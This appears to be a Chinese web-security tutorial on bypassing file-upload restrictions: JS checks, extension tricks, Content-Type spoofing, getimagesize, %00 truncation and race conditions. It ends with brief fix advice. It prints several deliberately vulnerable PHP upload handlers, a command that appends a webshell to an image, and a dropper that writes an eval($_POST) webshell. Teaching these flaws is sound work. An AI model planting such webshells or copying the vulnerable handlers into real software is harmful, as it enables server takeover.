zoukankan      html  css  js  c++  java
  • 文件上传限制条件(JS、后缀、文件名、类型、截断)绕过及修复建议

    在现代互联网的Web应用程序中,上传文件是一 种常见的功能,因为它有助于提高业务效率,比如企业的OA系统,允许用户上传图片、视频、头像和许多其他类型的文件。然而向用户提供的功能越多,Web应用受到攻击的风险就越大,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上传到服务器中,获得网站的权限,或者进一步危害服务器。
    上传文件时,如果服务端代码末对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、 aspx、 php、 jsp等格式的文件)。
    非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShel脚本称为一种网页后门,WebShel脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。


    JS检测绕过攻击

    JS检测绕过上传漏洞常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。
    这时有两种方法可以绕过客户端JavaScript的检测。

    • 使用浏览器的插件,删除检测文件后缀的JS代码,然后上传文件即可绕过。
    • 首先把需要上传文件的后缀改成允许上传的,如jpg、png等,绕过JS的检测,再抓包,把后缀名改成可执行文件的后缀即可上传成功,如下图所示。

    客户端上传文件的HTML代码如下所示,在选择文件时,会调用JS的selectFile函数,函数的作用是先将文件名转换为小写,然后通过substr获取文件名最后一个点号后面的后缀(包括点号)。如果后缀不是"jpg" ,则会弹框提示“请选择jpg格式的照片上传”。

    <html>
    <head>
    <meta charset="utf-8">
    <title>JS检查文件后缀</title>
    </head>
    <body>
    
    <script type="text/javascript">
    	function selectFile(fnUpload) {
    		var filename = fnUpload.value; 
    		var mime = filename.toLowerCase().substr(filename.lastIndexOf(".")); 
    		if(mime!=".jpg") 
    		{ 
    			alert("请选择jpg格式的照片上传"); 
    			fnUpload.outerHTML=fnUpload.outerHTML; 
    		}
    	}
    </script>
    
    <form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" onchange="selectFile(this)" /> 
    <br />
    <input type="submit" name="submit" value="submit" />
    </form>
    
    </body>
    </html>
    

    服务端处理上传文件的代码如下所示。如果上传文件没出错,再通过file_exists判断在upload目录下文件是否已存在,不存在的话就通过move_uploaded file将文件保存到upload目录。此PHP代码中没有对文件后缀做任何判断,所以只需要绕过前端JS的校验就可以上传WebShell.

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          }
        }
    
    ?>
    

    文件名后缀绕过攻击

    文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,例如在httpd.conf中, 如果配置有如下代码,则能够解析php和phtm|文件。
    AddType application/x-httpd php.php.phtml
    所以,可以上传一个后缀为phtml的WebShell, 在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止,所以如果上传的文件名类似1.php.xxxx,因为后缀xxxx不可以解析,所以向左解析后缀php。

    服务端处理上传文件的代码如下所示。通过函数pathinfo () 获取文件后缀,将后缀转换为小写后,判断是不是"php" ,如果上传文件的后缀是php,则不允许上传,所以此处可以通过利用Apache解析顺序或上传phtml等后缀的文件绕过该代码限制。

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
    
        $info=pathinfo($_FILES["file"]["name"]);
        $ext=$info['extension'];//得到文件扩展名
    
        if (strtolower($ext) == "php") {
                exit("不允许的后缀名");
              }      
    
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          }
        }
    
    ?>
    

    文件类型绕过攻击

    在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值是application/octet stream,而上传jpg格式的文件时,数据包中Content Type的值是image/jpeg。


    如果服务端代码是通过Content-Type的值来判断文件的类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户端传递的,是可以任意修改的。所以当上传一个php文件时, 在Burp Suite中将Content-Type修改image/jpeg,就可以绕过服务端的检测。

    服务端处理上传文件的代码如下所示,服务端代码判断(_FILES["file"]["type"]是不是图片的格式(image/gif, image/jpeg, image/pjpeg),如果不是,则不允许上传该文件,而)_FILES["file"]["type"]是客户端请求数据包中的Content-Type,所以可以通过修改Content-Type的值绕过该代码限制。

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
    
       if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg") 
        && ($_FILES["file"]["type"] != "image/pjpeg")){
        exit($_FILES["file"]["type"]);
        exit("不允许的格式");
      }
    
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          }
        }
    
    ?>
    

    在PHP中还存在一种相似的文件上传漏洞,PHP函数getimagesize ()可以获取图片的宽、高等信息,如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传,代码如下所示。

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
          if(!getimagesize($_FILES["file"]["tmp_name"])){
            exit("不允许的文件");
          }
    
    
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          }
        }
    
    ?>
    

    但是,我们可以将一个图片和一 个WebShell合并为一个文件,例如使用以下命令。
    cat image.png webslell.php > image.php
    此时,使用getimagesize () 就可以获取图片信息,且WebShell的后缀是php,也能被Apache解析为脚本文件,通过这种方式就可以绕过getimagesize()的限制。

    文件截断绕过攻击

    截断类型:PHP %00截断。
    截断原理:由于00代表结束符,所以会把00后面的所有字符删除。
    截断条件: PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。
    如图所示,在上传文件时,服务端将GET参数jieduan的内容作为上传后文件名的第一部分,然后将按时间生成的图片文件名作为上传后文件名的第二部分。

    修改参数jieduan为1.php%00.jpg,文件被保存到服务器时,%00会把"jpg"和按时间生成的图片文件名全部截断,那么文件名就剩下1.php,因此成功上传了WebShel脚本。

    服务端处理上传文件的代码如下所示,程序使用substr获取文件的后缀,然后判断后缀是否是flv、swf、mp3、mp4、3gp、zip、rar、gif、jpg、png、bmp中的一种,如果不是,则不允许上传该文件。但是在保存的路径中有$_REQUEST['jieduan'],那么此处可以利用00截断尝试绕过服务端限制。

    <?php
    error_reporting(0);
    
        $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
        $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
        //exit($_FILES['file']['name']);
        if(in_array($file_ext,$ext_arr))
        {
            $tempFile = $_FILES['file']['tmp_name'];
            // 这句话的$_REQUEST['jieduan']造成可以利用截断上传
            $targetPath = "upload/".$_REQUEST['jieduan'].rand(10, 99).date("YmdHis").".".$file_ext;
            if(move_uploaded_file($tempFile,$targetPath))
            {
                echo '上传成功'.'<br>';
                echo '路径:'.$targetPath;
            }
            else
            {
                echo("上传失败");
            }
    
        }
    else
    {
        echo("不允许的后缀");
    }
    
    ?>
    

    在多数情况下,截断绕过都是用在文件名后面加上HEX形式的%00来测试,例如filename='1.php%00jpg',但是由于在php中,$ FILES['file']['name']在得到文件名时,%00之后的内容已经被截断了,所以(_FILES['file']['name'] 得到的后缀是php,而不是php%00.jpg, 因而此时不能通过if(in_array()file_ext, $ext_arr))的检查。

    竞争条件攻击

    一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含WebShel脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。攻击者先上传一个WebShel脚本10.php, 10.php的内容是生成一个新的WebShelI脚本shell.php, 10.php的代码如下所示。

    <?php
    fputs (fopen ('../shell.php', 'w'),'<?php @eval ($_POST[a]) ?>') ;
    ?>
    

    当10.php上传成功后,客户端立即访问10.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用时间差完成了WebShell的上传。

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
    
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          //为了说明,这里直接让程序sleep 10s。
          sleep("10");
          unlink("upload/" . $_FILES["file"]["name"]);
    
          }
        }
    
    ?>
    

    程序获取文件$_FILES ["file"] ["name"] 的代码如上,先判断upload目录下是否存在相同的文件,如果不存在,则直接上传文件,在判断文件是否为WebShell时,还有删除WebShell时,都是需要时间来执行的,如果我们能在删除文件前就访问该WebShell,那么会创建一个新的WebShell,从而绕过该代码限制。

    文件上传修复建议

    • 通过白名单的方式判断文件后缀是否合法。
    • 对上传后的文件进行重命名,例如rand(10, 99).date("YmdHis")."jpg"。
  • 相关阅读:
    预习非数值数据的编码方式
    预习原码补码
    C语言||作业01
    C语言寒假大作战04
    C语言寒假大作战03
    C语言寒假大作战02
    C语言寒假大作战01
    C语言|作业12—学期总结
    C语言|博客作业11
    第三章预习
  • 原文地址:https://www.cnblogs.com/coderge/p/13706456.html
Copyright © 2011-2022 走看看